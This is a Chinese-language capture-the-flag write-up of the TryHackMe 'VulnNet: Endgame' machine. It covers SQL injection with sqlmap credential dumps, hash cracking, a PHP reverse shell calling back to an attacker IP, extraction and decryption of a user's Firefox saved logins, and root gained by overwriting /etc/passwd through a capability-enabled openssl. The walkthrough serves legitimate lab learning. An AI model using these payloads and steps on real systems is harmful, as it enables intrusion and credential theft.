TryHackMe-VulnNet_Endgame

VulnNet: Endgame

入侵这个模拟的易受攻击的基础设施。没有谜题。枚举是关键。

VulnNet系列带着新的挑战回来了。

这是本系列的最后一个挑战,妥协系统。枚举是关键。


端口扫描

循例 nmap扫:

22/tcp open  ssh
80/tcp open  http

信息收集

访问web看看:

Our services are accessible only through the vulnnet.thm domain! 

将vulnnet.thm添加到etc/hosts,再通过域名访问

平平无奇的页面,没有发现什么线索,gobuster:

/README.txt

也没有有用的信息

子域扫描

再尝试子域扫描,这里使用的是我自己写的小脚本:

┌──(root💀kali)-[/home/sugobet]
└─# python3 ./M1n9K1n9_Python_tools/SubDomain_Scanner.py vulnnet.thm /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt 2 32
Input Fuck length (split ","):65,301
 ____                    _          _    
/ ___| _   _  __ _  ___ | |__   ___| |_  
\___ \| | | |/ _` |/ _ \| '_ \ / _ \ __| 
 ___) | |_| | (_| | (_) | |_) |  __/ |_  
|____/ \__,_|\__, |\___/|_.__/ \___|\__| 
             |___/                       

Length:19316 :Valid domain:blog.vulnnet.thm
Length:26701 :Valid domain:shop.vulnnet.thm
Length:18 :Valid domain:api.vulnnet.thm
Length:0 :Valid domain:admin1.vulnnet.thm
Done!

脚本链接:M1n9K1n9_SubDomain_Scanner.py

可以看到结果:

Length:19316 :Valid domain:blog.vulnnet.thm
Length:26701 :Valid domain:shop.vulnnet.thm
Length:18 :Valid domain:api.vulnnet.thm
Length:0 :Valid domain:admin1.vulnnet.thm

我们将这些子域添加到/etc/hosts

子域信息收集

子域的信息收集:

shop -> 空空的兔子洞
blog -> 看起来也没什么东西,除了一些用户名
api -> 空

admin1:

vulnnet management panel is up! 

目录扫描

我们使用gobuster扫一下目录:

/en                   (Status: 301) [Size: 321] [--> http://admin1.vulnnet.thm/en/]
/fileadmin            (Status: 301) [Size: 328] [--> http://admin1.vulnnet.thm/fileadmin/]
/server-status        (Status: 403) [Size: 283]
/typo3                (Status: 301) [Size: 324] [--> http://admin1.vulnnet.thm/typo3/]
/typo3conf            (Status: 301) [Size: 328] [--> http://admin1.vulnnet.thm/typo3conf/]
/typo3temp            (Status: 301) [Size: 328] [--> http://admin1.vulnnet.thm/typo3temp/]
/vendor               (Status: 301) [Size: 325] [--> http://admin1.vulnnet.thm/vendor/]

信息收集

发现typo3,但是在这些目录搜寻,都没有暴露相关的版本号

为了节省点时间,看了眼wp。

SQLI

奥!我们忽略了一个东西,我们在blog查看任意一篇文章的时候调用了一个api,而这个存在sql注入,验证:

http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1 or sleep(3);--

我们借助sqlmap为我们快速获取所需的数据

sqlmap给出三个数据库:

[*] blog
[*] information_schema
[*] vn_admin

查看vn_admin

sqlmap -u 'http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1' -p blog --dbms=mysql  -D vn_admin --tables

有两个表值得我们注意:

be_users
fe_users

导出be_users数据:

sqlmap -u 'http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1' -p blog --dbms=mysql  -D vn_admin -T be_users -C username,password,admin --dump

.

username,password,admin
chris_w,"$argon2i$v=19$m=65536,t=16,p=2$UnlVSE***********YufyM4Rg",1

可以看到该用户是admin,并且还有它的密码hash

john在后台爆,我们顺便查看其他表

fe_users表是空的

凭据转储

终于,在blog库下的users表下存在许多明文的用户名和密码,我们可以尝试使用这些密码来尝试爆破刚刚的密码hash,因为john直到现在还没爆出来

sqlmap -u ‘http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1’ -p blog --dbms=mysql -D blog -T users -C username,password --dump

文件保存在:

/root/.local/share/sqlmap/output/api.vulnnet.thm/dump/blog/users.csv

清洗数据并保存:

cut -d "," -f2 /root/.local/share/sqlmap/output/api.vulnnet.thm/dump/blog/users.csv > ./test1.txt

John爆破

使用该字典进行john爆破:

john --wordlist=./test1.txt ./hash

很快得到密码:

vAx*****eTz

使用这对凭据尝试登录http://admin1.vulnnet.thm/typo3/

成功

任意文件上传

在后台尝试文件上传,有防护,尝试绕过,但是失败。

在查看其他功能的时候,好玩了,在Settings中的“Configure Installation-Wide Options”可以修改文件禁用列表

那就好办了,直接将原有的禁用列表全部删个干净

然后回到Pages -> 添加新页,类型选择file links

上传php reverse shell:

<?php
$sock=fsockopen("10.14.39.48",8888);$proc=proc_open("/bin/bash -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>

从fileList中可以看到,我们的文件上传到了user_upload文件夹。

还记得你刚刚做过的事情吗? - Reverse shell

还记得刚刚扫描admin1的结果吗,里面有一个fileadmin目录,user_upload就在这里。

虽然我们直接访问/fileadmin/user_upload/没有任何返回。

但是我们知道文件名,不妨直接访问文件试试。

先开启nc监听:

nc -vlnp 8888

访问:

http://admin1.vulnnet.thm/fileadmin/user_upload/rev_she11.php/

成功getshell

升级shell

python3 -c "import pty;pty.spawn('/bin/bash')"  

火狐浏览器凭据解密

进入/home/system

没权限读user.txt

发现./.mozilla文件夹,

ls -la ./2fjnrwth.default-release 

里面包含了logins.json等等之类的文件。

我们下载它,首先压缩zip并打开http server:

zip -r /tmp/data.zip ./2fjnrwth.default-release

www-data@vulnnet-endgame:/tmp$ python3 -m http.server 8888

攻击机:

wget http://10.10.70.55:8888/data.zip

将其解压,并使用firefox_decrypt.py进行获取凭据:

python3 ./linux-tools_and_exp/firefox_decrypt.py ./2fjnrwth.default-release

成功获得

Website:   https://tryhackme.com
Username: 'chris_w@vulnnet.thm'
Password: '8y7TK*******BYhwsb'

横向移动

尝试使用这一个密码登录system:

ssh system@10.10.70.55

system@vulnnet-endgame:~$ cat ./user.txt

成功登录

openssl任意文件读写

枚举:

system@vulnnet-endgame:~$ getcap -r / 2>/dev/null
/home/system/Utils/openssl =ep

尝试openssl任意文件读写:

system@vulnnet-endgame:~$ echo "hack" | /home/system/Utils/openssl enc -out /etc/passwd
system@vulnnet-endgame:~$ cat /etc/passwd
hack

成功

我们可以添加root权限的账户进去并登录

首先使用openssl passwd生成密码hash

openssl passwd -1 -salt hack 1q2w3e4r
$1$hack$eu7wA.3faDMt9Z2srODT9/

组装:

sugo:$1$hack$eu7wA.3faDMt9Z2srODT9/:0:0:root:/root:/bin/bash

备份passwd并写入,使用openssl串改/etc/passwd内容为备份的passwd

system@vulnnet-endgame:~$ cp /etc/passwd /tmp/passwd.bak
system@vulnnet-endgame:~$ echo 'sugo:$1$hack$eu7wA.3faDMt9Z2srODT9/:0:0:root:/root:/bin/bash' >> /tmp/passwd.bak 
system@vulnnet-endgame:~$ cat /tmp/passwd.bak | /home/system/Utils/openssl enc -out /etc/passwd
system@vulnnet-endgame:~$ su sugo
Password: 
root@vulnnet-endgame:/home/system# 

成功getroot

root@vulnnet-endgame:/home/system# cat /root/root.txt
cat: /root/root.txt: No such file or directory
root@vulnnet-endgame:/home/system# ls -la /root
total 36
drwx------  7 root root 4096 Jun 15  2022 .
drwxr-xr-x 24 root root 4096 Jun 15  2022 ..
lrwxrwxrwx  1 root root    9 Jun 14  2022 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  2 root root 4096 Sep 15  2021 .cache
drwx------  3 root root 4096 Jun 14  2022 .gnupg
drwxr-xr-x  3 root root 4096 Jun 14  2022 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwxr-xr-x  6 root root 4096 Jun 14  2022 snap
drw-------  2 root root 4096 Jun 15  2022 thm-flag
root@vulnnet-endgame:/home/system# cd /root/thm-flag
root@vulnnet-endgame:~/thm-flag# ls -la
total 12
drw------- 2 root root 4096 Jun 15  2022 .
drwx------ 7 root root 4096 Jun 15  2022 ..
-rw------- 1 root root   38 Jun 15  2022 root.txt
root@vulnnet-endgame:~/thm-flag# cat ./root.txt
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sugobet

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值